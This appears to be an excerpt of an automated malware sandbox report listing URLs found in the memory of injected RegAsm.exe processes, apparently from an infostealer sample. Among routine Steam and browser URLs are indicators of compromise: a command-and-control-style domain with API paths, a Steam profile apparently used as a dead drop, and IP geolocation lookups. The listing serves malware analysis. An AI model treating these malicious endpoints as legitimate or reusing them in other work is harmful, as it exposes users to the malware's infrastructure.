Source: RegAsm.exe, 00000007.00000002.3153652964.0000000001270000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000007.00000002.3149050724.000000000046B000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000001D.00000002.3626123161.0000000000506000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000001D.00000002.3626123161.000000000052D000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000001D.00000002.3626123161.000000000050E000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000001D.00000002.3626123161.000000000051F000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000001D.00000002.3626123161.00000000004EF000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000001D.00000002.3626123161.0000000000528000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000001D.00000002.3626123161.00000000004FE000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000001D.00000002.3626123161.0000000000516000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000001D.00000002.3626123161.00000000004E8000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000001D.00000002.3633419758.0000000001263000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000001D.00000002.3626123161.00000000004F6000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000002F.00000002.3439409998.00000000004EF000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000002F.00000002.3439409998.0000000000506000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000002F.00000002.3439409998.0000000000516000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000002F.00000002.3439409998.000000000052D000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000002F.00000002.3439409998.00000000004FE000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000002F.00000002.3439409998.00000000004F6000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000002F.00000002.3439409998.0000000000528000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000002F.00000002.3439409998.000000000051F000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://community.akamai.steamstatic.com/public/javascript/applications/community/libraries~b28b7af6
Source: RegAsm.exe, 00000007.00000002.3153652964.0000000001270000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000007.00000002.3149050724.000000000046B000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000001D.00000002.3626123161.0000000000506000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000001D.00000002.3626123161.000000000052D000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000001D.00000002.3626123161.000000000050E000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000001D.00000002.3626123161.000000000051F000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000001D.00000002.3626123161.00000000004EF000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000001D.00000002.3626123161.0000000000528000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000001D.00000002.3626123161.00000000004FE000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000001D.00000002.3626123161.0000000000516000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000001D.00000002.3626123161.00000000004E8000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000001D.00000002.3633419758.0000000001263000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000001D.00000002.3626123161.00000000004F6000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000002F.00000002.3439409998.00000000004EF000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000002F.00000002.3439409998.0000000000506000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000002F.00000002.3439409998.0000000000516000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000002F.00000002.3439409998.000000000052D000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000002F.00000002.3439409998.00000000004FE000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000002F.00000002.3439409998.00000000004F6000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000002F.00000002.3439409998.0000000000528000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000002F.00000002.3439409998.000000000051F000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://community.akamai.steamstatic.com/public/javascript/applications/community/main.js?v=8vRVyaZK
Source: RegAsm.exe, 00000007.00000002.3153652964.0000000001270000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000007.00000002.3149050724.000000000046B000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000001D.00000002.3626123161.0000000000506000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000001D.00000002.3626123161.000000000052D000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000001D.00000002.3626123161.000000000050E000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000001D.00000002.3626123161.000000000051F000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000001D.00000002.3626123161.00000000004EF000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000001D.00000002.3626123161.0000000000528000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000001D.00000002.3626123161.00000000004FE000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000001D.00000002.3626123161.0000000000516000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000001D.00000002.3626123161.00000000004E8000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000001D.00000002.3633419758.0000000001263000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000001D.00000002.3626123161.00000000004F6000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000002F.00000002.3439409998.00000000004EF000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000002F.00000002.3439409998.0000000000506000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000002F.00000002.3439409998.0000000000516000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000002F.00000002.3439409998.000000000052D000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000002F.00000002.3439409998.00000000004FE000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000002F.00000002.3439409998.00000000004F6000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000002F.00000002.3439409998.0000000000528000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000002F.00000002.3439409998.000000000051F000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://community.akamai.steamstatic.com/public/javascript/applications/community/manifest.js?v=w4s3
Source: RegAsm.exe, 00000007.00000002.3153652964.0000000001270000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000007.00000002.3149050724.000000000046B000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000001D.00000002.3626123161.000000000052D000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000001D.00000002.3633419758.0000000001263000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000001D.00000002.3626123161.000000000046B000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000002F.00000002.3439409998.000000000052D000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000002F.00000002.3439409998.000000000046B000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000002F.00000002.3445776825.000000000153F000.00000004.00000020.00020000.00000000.sdmp, 76561199780418869[2].htm.29.dr, 76561199780418869[1].htm.47.dr	String found in binary or memory: https://community.akamai.steamstatic.com/public/javascript/global.js?v=9OzcxMXbaV84&l=english
Source: RegAsm.exe, 00000007.00000002.3153652964.0000000001270000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000007.00000002.3149050724.000000000046B000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000001D.00000002.3626123161.000000000052D000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000001D.00000002.3633419758.0000000001263000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000001D.00000002.3626123161.000000000046B000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000002F.00000002.3439409998.000000000052D000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000002F.00000002.3439409998.000000000046B000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000002F.00000002.3445776825.000000000153F000.00000004.00000020.00020000.00000000.sdmp, 76561199780418869[2].htm.29.dr, 76561199780418869[1].htm.47.dr	String found in binary or memory: https://community.akamai.steamstatic.com/public/javascript/jquery-1.11.1.min.js?v=.isFTSRckeNhC
Source: RegAsm.exe, 00000007.00000002.3153652964.0000000001270000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000007.00000002.3149050724.000000000046B000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000001D.00000002.3633419758.0000000001263000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000001D.00000002.3626123161.000000000046B000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000002F.00000002.3439409998.000000000046B000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000002F.00000002.3445776825.000000000153F000.00000004.00000020.00020000.00000000.sdmp, 76561199780418869[2].htm.29.dr, 76561199780418869[1].htm.47.dr	String found in binary or memory: https://community.akamai.steamstatic.com/public/javascript/modalContent.js?v=f2hMA1v9Zkc8&l=engl
Source: RegAsm.exe, 00000007.00000002.3153652964.0000000001270000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000007.00000002.3149050724.000000000046B000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000001D.00000002.3633419758.0000000001263000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000001D.00000002.3626123161.000000000046B000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000002F.00000002.3439409998.000000000046B000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000002F.00000002.3445776825.000000000153F000.00000004.00000020.00020000.00000000.sdmp, 76561199780418869[2].htm.29.dr, 76561199780418869[1].htm.47.dr	String found in binary or memory: https://community.akamai.steamstatic.com/public/javascript/modalv2.js?v=dfMhuy-Lrpyo&l=english
Source: RegAsm.exe, 00000007.00000002.3153652964.0000000001270000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000007.00000002.3149050724.000000000046B000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000001D.00000002.3633419758.0000000001263000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000001D.00000002.3626123161.000000000046B000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000002F.00000002.3439409998.000000000046B000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000002F.00000002.3445776825.000000000153F000.00000004.00000020.00020000.00000000.sdmp, 76561199780418869[2].htm.29.dr, 76561199780418869[1].htm.47.dr	String found in binary or memory: https://community.akamai.steamstatic.com/public/javascript/profile.js?v=f3vWO7swdDqp&l=english
Source: RegAsm.exe, 00000007.00000002.3153652964.0000000001270000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000007.00000002.3149050724.000000000046B000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000001D.00000002.3633419758.0000000001263000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000001D.00000002.3626123161.000000000046B000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000002F.00000002.3439409998.000000000046B000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000002F.00000002.3445776825.000000000153F000.00000004.00000020.00020000.00000000.sdmp, 76561199780418869[2].htm.29.dr, 76561199780418869[1].htm.47.dr	String found in binary or memory: https://community.akamai.steamstatic.com/public/javascript/promo/stickers.js?v=upl9NJ5D2xkP&l=en
Source: RegAsm.exe, 00000007.00000002.3153652964.0000000001270000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000007.00000002.3149050724.000000000046B000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000001D.00000002.3626123161.000000000052D000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000001D.00000002.3633419758.0000000001263000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000001D.00000002.3626123161.000000000046B000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000002F.00000002.3439409998.000000000052D000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000002F.00000002.3439409998.000000000046B000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000002F.00000002.3445776825.000000000153F000.00000004.00000020.00020000.00000000.sdmp, 76561199780418869[2].htm.29.dr, 76561199780418869[1].htm.47.dr	String found in binary or memory: https://community.akamai.steamstatic.com/public/javascript/prototype-1.7.js?v=.55t44gwuwgvw
Source: RegAsm.exe, 00000007.00000002.3153652964.0000000001270000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000007.00000002.3149050724.000000000046B000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000001D.00000002.3633419758.0000000001263000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000001D.00000002.3626123161.000000000046B000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000002F.00000002.3439409998.000000000046B000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000002F.00000002.3445776825.000000000153F000.00000004.00000020.00020000.00000000.sdmp, 76561199780418869[2].htm.29.dr, 76561199780418869[1].htm.47.dr	String found in binary or memory: https://community.akamai.steamstatic.com/public/javascript/reportedcontent.js?v=dAtjbcZMWhSe&l=e
Source: RegAsm.exe, 00000007.00000002.3153652964.0000000001270000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000007.00000002.3149050724.000000000046B000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000001D.00000002.3626123161.000000000052D000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000001D.00000002.3633419758.0000000001263000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000001D.00000002.3626123161.000000000046B000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000002F.00000002.3439409998.000000000052D000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000002F.00000002.3439409998.000000000046B000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000002F.00000002.3445776825.000000000153F000.00000004.00000020.00020000.00000000.sdmp, 76561199780418869[2].htm.29.dr, 76561199780418869[1].htm.47.dr	String found in binary or memory: https://community.akamai.steamstatic.com/public/javascript/scriptaculous/_combined.js?v=OeNIgrpEF8tL
Source: RegAsm.exe, 00000007.00000002.3153652964.0000000001270000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000007.00000002.3149050724.000000000046B000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000001D.00000002.3633419758.0000000001263000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000001D.00000002.3626123161.000000000046B000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000002F.00000002.3439409998.000000000046B000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000002F.00000002.3445776825.000000000153F000.00000004.00000020.00020000.00000000.sdmp, 76561199780418869[2].htm.29.dr, 76561199780418869[1].htm.47.dr	String found in binary or memory: https://community.akamai.steamstatic.com/public/javascript/webui/clientcom.js?v=pvBDaFhF2LLJ&l=e
Source: RegAsm.exe, 00000007.00000002.3153652964.0000000001270000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000007.00000002.3149050724.000000000046B000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000001D.00000002.3626123161.000000000052D000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000001D.00000002.3633419758.0000000001263000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000002F.00000002.3439409998.000000000052D000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000002F.00000002.3445776825.000000000153F000.00000004.00000020.00020000.00000000.sdmp, 76561199780418869[2].htm.29.dr, 76561199780418869[1].htm.47.dr	String found in binary or memory: https://community.akamai.steamstatic.com/public/shared/css/buttons.css?v=PUJIfhtcQn7W&l=english
Source: 76561199780418869[1].htm.47.dr	String found in binary or memory: https://community.akamai.steamstatic.com/public/shared/css/motiva_sans.css?v=-DH0xTYpnVe2&l=engl
Source: RegAsm.exe, 00000007.00000002.3153652964.0000000001270000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000007.00000002.3149050724.000000000046B000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000001D.00000002.3626123161.000000000052D000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000001D.00000002.3633419758.0000000001263000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000002F.00000002.3439409998.000000000052D000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000002F.00000002.3445776825.000000000153F000.00000004.00000020.00020000.00000000.sdmp, 76561199780418869[2].htm.29.dr, 76561199780418869[1].htm.47.dr	String found in binary or memory: https://community.akamai.steamstatic.com/public/shared/css/shared_global.css?v=ezWS9te9Zwm9&l=en
Source: RegAsm.exe, 00000007.00000002.3153652964.0000000001270000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000007.00000002.3149050724.000000000046B000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000001D.00000002.3626123161.000000000052D000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000001D.00000002.3633419758.0000000001263000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000002F.00000002.3439409998.000000000052D000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000002F.00000002.3445776825.000000000153F000.00000004.00000020.00020000.00000000.sdmp, 76561199780418869[2].htm.29.dr, 76561199780418869[1].htm.47.dr	String found in binary or memory: https://community.akamai.steamstatic.com/public/shared/css/shared_responsive.css?v=sHIIcMzCffX6&
Source: RegAsm.exe, 00000007.00000002.3153652964.0000000001270000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000001D.00000002.3633419758.0000000001263000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000002F.00000002.3445776825.000000000153F000.00000004.00000020.00020000.00000000.sdmp, 76561199780418869[2].htm.29.dr, 76561199780418869[1].htm.47.dr	String found in binary or memory: https://community.akamai.steamstatic.com/public/shared/images/header/logo_steam.svg?t=962016
Source: RegAsm.exe, 00000007.00000002.3153652964.0000000001270000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000007.00000002.3149050724.000000000046B000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000001D.00000002.3626123161.000000000052D000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000001D.00000002.3633419758.0000000001263000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000002F.00000002.3439409998.000000000052D000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000002F.00000002.3445776825.000000000153F000.00000004.00000020.00020000.00000000.sdmp, 76561199780418869[2].htm.29.dr, 76561199780418869[1].htm.47.dr	String found in binary or memory: https://community.akamai.steamstatic.com/public/shared/images/responsive/header_logo.png
Source: RegAsm.exe, 00000007.00000002.3153652964.0000000001270000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000007.00000002.3149050724.000000000046B000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000001D.00000002.3626123161.000000000052D000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000001D.00000002.3633419758.0000000001263000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000002F.00000002.3439409998.000000000052D000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000002F.00000002.3445776825.000000000153F000.00000004.00000020.00020000.00000000.sdmp, 76561199780418869[2].htm.29.dr, 76561199780418869[1].htm.47.dr	String found in binary or memory: https://community.akamai.steamstatic.com/public/shared/images/responsive/header_menu_hamburger.png
Source: RegAsm.exe, 00000007.00000002.3149050724.000000000046B000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000001D.00000002.3633419758.0000000001263000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000002F.00000002.3445776825.000000000153F000.00000004.00000020.00020000.00000000.sdmp, 76561199780418869[2].htm.29.dr, 76561199780418869[1].htm.47.dr	String found in binary or memory: https://community.akamai.steamstatic.com/public/shared/images/responsive/logo_valve_footer.png
Source: RegAsm.exe, 00000007.00000002.3153652964.0000000001270000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000007.00000002.3149050724.000000000046B000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000001D.00000002.3626123161.000000000052D000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000001D.00000002.3633419758.0000000001263000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000002F.00000002.3439409998.000000000052D000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000002F.00000002.3439409998.000000000046B000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000002F.00000002.3445776825.000000000153F000.00000004.00000020.00020000.00000000.sdmp, 76561199780418869[2].htm.29.dr, 76561199780418869[1].htm.47.dr	String found in binary or memory: https://community.akamai.steamstatic.com/public/shared/javascript/auth_refresh.js?v=WgUxSlKTb3W1&amp
Source: RegAsm.exe, 00000007.00000002.3149050724.000000000046B000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000001D.00000002.3626123161.000000000052D000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000001D.00000002.3633419758.0000000001263000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000001D.00000002.3626123161.000000000046B000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000002F.00000002.3439409998.000000000052D000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000002F.00000002.3439409998.000000000046B000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000002F.00000002.3445776825.000000000153F000.00000004.00000020.00020000.00000000.sdmp, 76561199780418869[2].htm.29.dr, 76561199780418869[1].htm.47.dr	String found in binary or memory: https://community.akamai.steamstatic.com/public/shared/javascript/shared_global.js?v=REEGJU1hwkYl&am
Source: RegAsm.exe, 00000007.00000002.3153652964.0000000001270000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000007.00000002.3149050724.000000000046B000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000001D.00000002.3633419758.0000000001263000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000001D.00000002.3626123161.000000000046B000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000002F.00000002.3439409998.000000000046B000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000002F.00000002.3445776825.000000000153F000.00000004.00000020.00020000.00000000.sdmp, 76561199780418869[2].htm.29.dr, 76561199780418869[1].htm.47.dr	String found in binary or memory: https://community.akamai.steamstatic.com/public/shared/javascript/shared_responsive_adapter.js?v=pSv
Source: RegAsm.exe, 00000007.00000002.3153652964.0000000001270000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000007.00000002.3149050724.000000000046B000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000001D.00000002.3626123161.000000000052D000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000001D.00000002.3633419758.0000000001263000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000001D.00000002.3626123161.000000000046B000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000002F.00000002.3439409998.000000000052D000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000002F.00000002.3439409998.000000000046B000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000002F.00000002.3445776825.000000000153F000.00000004.00000020.00020000.00000000.sdmp, 76561199780418869[2].htm.29.dr, 76561199780418869[1].htm.47.dr	String found in binary or memory: https://community.akamai.steamstatic.com/public/shared/javascript/tooltip.js?v=.zYHOpI1L3Rt0
Source: RegAsm.exe, 00000007.00000002.3153652964.00000000012ED000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000020.00000002.3616544001.0000000027901000.00000004.00000020.00020000.00000000.sdmp, HDAFHI.7.dr, KFHJJJKKFHIDAAKFBFBF.32.dr	String found in binary or memory: https://contile-images.services.mozilla.com/T23eBL4EHswiSaF6kya2gYsRHvdfADK-NYjs1mVRNGE.3351.jpg
Source: RegAsm.exe, 00000007.00000002.3153652964.00000000012ED000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000020.00000002.3616544001.0000000027901000.00000004.00000020.00020000.00000000.sdmp, HDAFHI.7.dr, KFHJJJKKFHIDAAKFBFBF.32.dr	String found in binary or memory: https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg
Source: DHCAECGI.32.dr, DBAEHC.47.dr, FHIDAF.7.dr	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: DHCAECGI.32.dr, DBAEHC.47.dr, FHIDAF.7.dr	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: DHCAECGI.32.dr, DBAEHC.47.dr, FHIDAF.7.dr	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: RegAsm.exe, 0000001A.00000002.3191512945.000000000124C000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000001A.00000002.3191512945.0000000001212000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000031.00000002.3383832619.0000000000AD7000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000031.00000002.3383832619.0000000000AD2000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000031.00000002.3383832619.0000000000B01000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://gravvitywio.store/
Source: RegAsm.exe, 00000031.00000002.3383832619.0000000000AD2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://gravvitywio.store/8
Source: RegAsm.exe, 0000001A.00000002.3191512945.000000000124C000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000031.00000002.3383832619.0000000000AF2000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000031.00000002.3383832619.0000000000B01000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://gravvitywio.store/api
Source: RegAsm.exe, 0000001A.00000002.3191512945.000000000124C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://gravvitywio.store/api;
Source: RegAsm.exe, 00000031.00000002.3383832619.0000000000B01000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://gravvitywio.store/apiH
Source: RegAsm.exe, 00000031.00000002.3383832619.0000000000AF2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://gravvitywio.store/n.
Source: RegAsm.exe, 0000001A.00000002.3191512945.0000000001243000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://gravvitywio.store:443/apipp
Source: RegAsm.exe, 0000001D.00000002.3633419758.0000000001263000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://help.steampowered.com/
Source: RegAsm.exe, 00000007.00000002.3149050724.000000000046B000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000001D.00000002.3626123161.000000000052D000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000001D.00000002.3633419758.0000000001263000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000002F.00000002.3445776825.000000000153F000.00000004.00000020.00020000.00000000.sdmp, 76561199780418869[2].htm.29.dr, 76561199780418869[1].htm.47.dr	String found in binary or memory: https://help.steampowered.com/en/
Source: KFHJJJKKFHIDAAKFBFBF.32.dr	String found in binary or memory: https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4pLk4pqk4pbW1pbWfpbW7ReNxR3UIG8zInwYIFIVs9eYi
Source: RegAsm.exe	String found in binary or memory: https://ipgeolocation.io/
Source: RegAsm.exe, 00000003.00000002.2395951419.00000000012D5000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.2395951419.0000000001285000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ipinfo.io/
Source: RegAsm.exe, 00000003.00000002.2395951419.0000000001285000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ipinfo.io/(
Source: RegAsm.exe, 00000003.00000002.2395951419.00000000012BB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ipinfo.io/7
Source: RegAsm.exe, 00000003.00000002.2395951419.00000000012D5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ipinfo.io/Mozilla/5.0
Source: 66fb252fe232b_Patksl.exe, 00000000.00000002.2293869752.0000000003A55000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.2394550409.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://ipinfo.io/https://ipgeolocation.io/::
Source: RegAsm.exe, 00000003.00000002.2395951419.0000000001285000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.2395951419.00000000012BB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ipinfo.io/widget/demo/8.46.123.33
